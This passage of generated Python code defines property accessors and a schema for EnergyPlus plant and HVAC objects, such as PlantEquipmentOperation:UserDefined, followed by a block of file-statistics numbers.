not set """ return self["Air Connection Inlet Node Name"] @air_connection_inlet_node_name.setter def air_connection_inlet_node_name(self, value=None): """Corresponds to IDD field `Air Connection Inlet Node Name`""" self["Air Connection Inlet Node Name"] = value @property def air_connection_outlet_node_name(self): """field `Air Connection Outlet Node Name` | Outlet air used for heat rejection or air source Args: value (str): value for IDD Field `Air Connection Outlet Node Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `air_connection_outlet_node_name` or None if not set """ return self["Air Connection Outlet Node Name"] @air_connection_outlet_node_name.setter def air_connection_outlet_node_name(self, value=None): """Corresponds to IDD field `Air Connection Outlet Node Name`""" self["Air Connection Outlet Node Name"] = value @property def supply_inlet_water_storage_tank_name(self): """field `Supply Inlet Water Storage Tank Name` | Water use storage tank for alternate source of water consumed by device Args: value (str): value for IDD Field `Supply Inlet Water Storage Tank Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `supply_inlet_water_storage_tank_name` or None if not set """ return self["Supply Inlet Water Storage Tank Name"] @supply_inlet_water_storage_tank_name.setter def supply_inlet_water_storage_tank_name(self, value=None): """Corresponds to IDD field `Supply Inlet Water Storage Tank Name`""" self["Supply Inlet Water Storage Tank Name"] = value @property def collection_outlet_water_storage_tank_name(self): """field `Collection Outlet Water Storage Tank Name` | Water use storage tank for collection of condensate by device Args: value (str): value for IDD Field `Collection Outlet Water Storage Tank Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `collection_outlet_water_storage_tank_name` or None if not set """ return self["Collection Outlet Water Storage Tank Name"] @collection_outlet_water_storage_tank_name.setter def collection_outlet_water_storage_tank_name(self, value=None): """Corresponds to IDD field `Collection Outlet Water Storage Tank Name`""" self["Collection Outlet Water Storage Tank Name"] = value @property def ambient_zone_name(self): """field `Ambient Zone Name` | Used for modeling device losses to surrounding zone Args: value (str): value for IDD Field `Ambient Zone Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `ambient_zone_name` or None if not set """ return self["Ambient Zone Name"] @ambient_zone_name.setter def ambient_zone_name(self, value=None): """Corresponds to IDD field `Ambient Zone Name`""" self["Ambient Zone Name"] = value class PlantEquipmentOperationUserDefined(DataObject): """ Corresponds to IDD object `PlantEquipmentOperation:UserDefined` Defines a generic plant operation scheme for custom supervisory control using Energy Management System or External Interface to dispatch loads """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'main model program calling manager name', {'name': u'Main Model Program Calling Manager Name', 'pyname': u'main_model_program_calling_manager_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'initialization program calling manager name', {'name': u'Initialization Program Calling Manager Name', 'pyname': u'initialization_program_calling_manager_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'equipment 1 object type', {'name': u'Equipment 1 Object Type', 'pyname': u'equipment_1_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 1 name', {'name': u'Equipment 1 Name', 'pyname': u'equipment_1_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 2 object type', {'name': u'Equipment 2 Object Type', 'pyname': u'equipment_2_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 2 name', {'name': u'Equipment 2 Name', 'pyname': u'equipment_2_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 3 object type', {'name': u'Equipment 3 Object Type', 'pyname': u'equipment_3_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 3 name', {'name': u'Equipment 3 Name', 'pyname': u'equipment_3_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 4 object type', {'name': u'Equipment 4 Object Type', 'pyname': u'equipment_4_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 4 name', {'name': u'Equipment 4 Name', 'pyname': u'equipment_4_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 5 object type', {'name': u'Equipment 5 Object Type', 'pyname': u'equipment_5_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 5 name', {'name': u'Equipment 5 Name', 'pyname': u'equipment_5_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 6 object type', {'name': u'Equipment 6 Object Type', 'pyname': u'equipment_6_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 6 name', {'name': u'Equipment 6 Name', 'pyname': u'equipment_6_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 7 object type', {'name': u'Equipment 7 Object Type', 'pyname': u'equipment_7_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 7 name', {'name': u'Equipment 7 Name', 'pyname': u'equipment_7_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 8 object type', {'name': u'Equipment 8 Object Type', 'pyname': u'equipment_8_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 8 name', {'name': u'Equipment 8 Name', 'pyname': u'equipment_8_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 9 object type', {'name': u'Equipment 9 Object Type', 'pyname': u'equipment_9_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 9 name', {'name': u'Equipment 9 Name', 'pyname': u'equipment_9_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 10 object type', {'name': u'Equipment 10 Object Type', 'pyname': u'equipment_10_object_type', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'equipment 10 name', {'name': u'Equipment 10 Name', 'pyname': u'equipment_10_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'})]), 'format': None, 'group': u'User Defined HVAC and Plant Component Models', 'min-fields': 5, 'name': u'PlantEquipmentOperation:UserDefined', 'pyname': u'PlantEquipmentOperationUserDefined', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | This is the name of the plant operation scheme Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def main_model_program_calling_manager_name(self): """field `Main Model Program Calling Manager Name` Args: value (str): value for IDD Field `Main Model Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `main_model_program_calling_manager_name` or None if not set """ return self["Main Model Program Calling Manager Name"] @main_model_program_calling_manager_name.setter def main_model_program_calling_manager_name(self, value=None): """Corresponds to IDD field `Main Model Program Calling Manager Name`""" self["Main Model Program Calling Manager Name"] = value @property def initialization_program_calling_manager_name(self): """field `Initialization Program Calling Manager Name` Args: value (str): value for IDD Field `Initialization Program Calling Manager Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `initialization_program_calling_manager_name` or None if not set """ return self["Initialization Program Calling Manager Name"] @initialization_program_calling_manager_name.setter def initialization_program_calling_manager_name(self, value=None): """Corresponds to IDD field `Initialization Program Calling Manager Name`""" self["Initialization Program Calling Manager Name"] = value @property def equipment_1_object_type(self): """field `Equipment 1 Object Type` Args: value (str): value for IDD Field `Equipment 1 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_1_object_type` or None if not set """ return self["Equipment 1 Object Type"] @equipment_1_object_type.setter def equipment_1_object_type(self, value=None): """Corresponds to IDD field `Equipment 1 Object Type`""" self["Equipment 1 Object Type"] = value @property def equipment_1_name(self): """field `Equipment 1 Name` Args: value (str): value for IDD Field `Equipment 1 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_1_name` or None if not set """ return self["Equipment 1 Name"] @equipment_1_name.setter def equipment_1_name(self, value=None): """Corresponds to IDD field `Equipment 1 Name`""" self["Equipment 1 Name"] = value @property def equipment_2_object_type(self): """field `Equipment 2 Object Type` Args: value (str): value for IDD Field `Equipment 2 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_2_object_type` or None if not set """ return self["Equipment 2 Object Type"] @equipment_2_object_type.setter def equipment_2_object_type(self, value=None): """Corresponds to IDD field `Equipment 2 Object Type`""" self["Equipment 2 Object Type"] = value @property def equipment_2_name(self): """field `Equipment 2 Name` Args: value (str): value for IDD Field `Equipment 2 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_2_name` or None if not set """ return self["Equipment 2 Name"] @equipment_2_name.setter def equipment_2_name(self, value=None): """Corresponds to IDD field `Equipment 2 Name`""" self["Equipment 2 Name"] = value @property def equipment_3_object_type(self): """field `Equipment 3 Object Type` Args: value (str): value for IDD Field `Equipment 3 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_3_object_type` or None if not set """ return self["Equipment 3 Object Type"] @equipment_3_object_type.setter def equipment_3_object_type(self, value=None): """Corresponds to IDD field `Equipment 3 Object Type`""" self["Equipment 3 Object Type"] = value @property def equipment_3_name(self): """field `Equipment 3 Name` Args: value (str): value for IDD Field `Equipment 3 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_3_name` or None if not set """ return self["Equipment 3 Name"] @equipment_3_name.setter def equipment_3_name(self, value=None): """Corresponds to IDD field `Equipment 3 Name`""" self["Equipment 3 Name"] = value @property def equipment_4_object_type(self): """field `Equipment 4 Object Type` Args: value (str): value for IDD Field `Equipment 4 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_4_object_type` or None if not set """ return self["Equipment 4 Object Type"] @equipment_4_object_type.setter def equipment_4_object_type(self, value=None): """Corresponds to IDD field `Equipment 4 Object Type`""" self["Equipment 4 Object Type"] = value @property def equipment_4_name(self): """field `Equipment 4 Name` Args: value (str): value for IDD Field `Equipment 4 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_4_name` or None if not set """ return self["Equipment 4 Name"] @equipment_4_name.setter def equipment_4_name(self, value=None): """Corresponds to IDD field `Equipment 4 Name`""" self["Equipment 4 Name"] = value @property def equipment_5_object_type(self): """field `Equipment 5 Object Type` Args: value (str): value for IDD Field `Equipment 5 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_5_object_type` or None if not set """ return self["Equipment 5 Object Type"] @equipment_5_object_type.setter def equipment_5_object_type(self, value=None): """Corresponds to IDD field `Equipment 5 Object Type`""" self["Equipment 5 Object Type"] = value @property def equipment_5_name(self): """field `Equipment 5 Name` Args: value (str): value for IDD Field `Equipment 5 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_5_name` or None if not set """ return self["Equipment 5 Name"] @equipment_5_name.setter def equipment_5_name(self, value=None): """Corresponds to IDD field `Equipment 5 Name`""" self["Equipment 5 Name"] = value @property def equipment_6_object_type(self): """field `Equipment 6 Object Type` Args: value (str): value for IDD Field `Equipment 6 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_6_object_type` or None if not set """ return self["Equipment 6 Object Type"] @equipment_6_object_type.setter def equipment_6_object_type(self, value=None): """Corresponds to IDD field `Equipment 6 Object Type`""" self["Equipment 6 Object Type"] = value @property def equipment_6_name(self): """field `Equipment 6 Name` Args: value (str): value for IDD Field `Equipment 6 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_6_name` or None if not set """ return self["Equipment 6 Name"] @equipment_6_name.setter def equipment_6_name(self, value=None): """Corresponds to IDD field `Equipment 6 Name`""" self["Equipment 6 Name"] = value @property def equipment_7_object_type(self): """field `Equipment 7 Object Type` Args: value (str): value for IDD Field `Equipment 7 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_7_object_type` or None if not set """ return self["Equipment 7 Object Type"] @equipment_7_object_type.setter def equipment_7_object_type(self, value=None): """Corresponds to IDD field `Equipment 7 Object Type`""" self["Equipment 7 Object Type"] = value @property def equipment_7_name(self): """field `Equipment 7 Name` Args: value (str): value for IDD Field `Equipment 7 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_7_name` or None if not set """ return self["Equipment 7 Name"] @equipment_7_name.setter def equipment_7_name(self, value=None): """Corresponds to IDD field `Equipment 7 Name`""" self["Equipment 7 Name"] = value @property def equipment_8_object_type(self): """field `Equipment 8 Object Type` Args: value (str): value for IDD Field `Equipment 8 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_8_object_type` or None if not set """ return self["Equipment 8 Object Type"] @equipment_8_object_type.setter def equipment_8_object_type(self, value=None): """Corresponds to IDD field `Equipment 8 Object Type`""" self["Equipment 8 Object Type"] = value @property def equipment_8_name(self): """field `Equipment 8 Name` Args: value (str): value for IDD Field `Equipment 8 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_8_name` or None if not set """ return self["Equipment 8 Name"] @equipment_8_name.setter def equipment_8_name(self, value=None): """Corresponds to IDD field `Equipment 8 Name`""" self["Equipment 8 Name"] = value @property def equipment_9_object_type(self): """field `Equipment 9 Object Type` Args: value (str): value for IDD Field `Equipment 9 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_9_object_type` or None if not set """ return self["Equipment 9 Object Type"] @equipment_9_object_type.setter def equipment_9_object_type(self, value=None): """Corresponds to IDD field `Equipment 9 Object Type`""" self["Equipment 9 Object Type"] = value @property def equipment_9_name(self): """field `Equipment 9 Name` Args: value (str): value for IDD Field `Equipment 9 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_9_name` or None if not set """ return self["Equipment 9 Name"] @equipment_9_name.setter def equipment_9_name(self, value=None): """Corresponds to IDD field `Equipment 9 Name`""" self["Equipment 9 Name"] = value @property def equipment_10_object_type(self): """field `Equipment 10 Object Type` Args: value (str): value for IDD Field `Equipment 10 Object Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_10_object_type` or None if not set """ return self["Equipment 10 Object Type"] @equipment_10_object_type.setter def equipment_10_object_type(self, value=None): """Corresponds to IDD field `Equipment 10 Object Type`""" self["Equipment 10 Object Type"] = value @property def equipment_10_name(self): """field `Equipment 10 Name` Args: value (str): value for IDD Field `Equipment 10 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `equipment_10_name` or None if not set """ return self["Equipment 10 Name"] @equipment_10_name.setter def equipment_10_name(self, value=None): """Corresponds to IDD field `Equipment 10 Name`""" self["Equipment 10 Name"] = value
41.948553
116
0.513567
12,898
130,460
5.030237
0.014111
0.102651
0.06603
0.078607
0.96643
0.934541
0.907537
0.874322
0.849861
0.788702
0
0.009658
0.413514
130,460
3,109
117
41.962046
0.838302
0.271394
0
0.707554
0
0
0.278233
0.045273
0
0
0
0
0
1
0.139986
false
0.002772
0.002079
0
0.218988
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7